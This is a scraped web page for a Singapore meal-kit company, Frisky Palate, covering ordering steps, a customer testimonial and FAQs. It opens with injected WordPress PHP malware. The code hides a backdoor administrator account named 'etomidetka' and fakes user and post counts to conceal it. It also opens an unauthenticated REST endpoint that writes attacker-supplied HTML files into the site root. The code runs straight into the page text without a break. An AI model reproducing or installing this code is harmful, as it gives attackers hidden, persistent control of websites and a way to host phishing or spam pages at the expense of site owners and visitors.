//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } How Does It Work - Frisky Palate

How Does It Work

Cooking, Family, Baking, Friends, Fun. Repeat.

Whip up something tasty with family and friends in the comfort of your home! Unlike food delivery, reheated meal prep or catering, our curated baking and cooking kits are great for cooking and baking any time!

Designed to take the hassle and guesswork out of cooking and baking, you can choose from our wide menu for 2 or 4 people. We will send you the fresh ingredients and detailed step by step recipes.

Step 1: Choose your cooking/baking kit.

Step 2: Choose how many people will enjoy this with you, in multiples of 2 or 4.

Step 3: Choose your date of delivery or pick up. Place your orders by Tuesday, for the following week so if you order after Tuesday, it will be for the week after. Delivery/pick up is made from 2pm to 4pm on Wednesdays, Fridays and Saturdays.

Step 4: Add to cart and if you opted for a delivery, enter your address details and make payment by credit card through Stripe.

See What Our Customers Are Saying

“From the smooth order process and seamless delivery to careful packaging and creative recipes, Frisky Palate has truly brought the home kitchen experience up a notch.

The entire order process took a little less than two minutes, and my kit arrived in perfect condition within the scheduled time frame. All the ingredients were already measured, delicately packed and labeled.

So all I needed to do was to follow the recipe given – and I was already able to enjoy mouthwatering vegetarian pizza in the comfort of my home.”

Charlene
Vegetarian Pizza

Frequently Asked Questions

The optimal freshness for the kits are up to 2 days after delivery so do use it by then.

Unfortunately, once you have placed an order, we are unable to change it as our team would have all the ingredients ordered by then. However, for customers with special dietary restrictions, our team will reach out to you separately.

Delivery/Pick Up is available from Tue to Sun from 12pm to 6pm.

At Check Out, under Additional Information, let us know the date of pick up/delivery and the preferred time. Alternatively, WhatsApp us on: (+65) 8769 0968 for your preferred delivery date and time. The delivery will be made by delivery companies such as GRAB to a single location in Singapore (except Tuas, Sentosa and Jurong Island) for $35.

Unfortunately, we won’t be accepting returns for hygiene reasons.

Our ingredients are non halal. We currently do not cater for gluten free diets. For all other dietary requirements, please do not hesitate to contact us.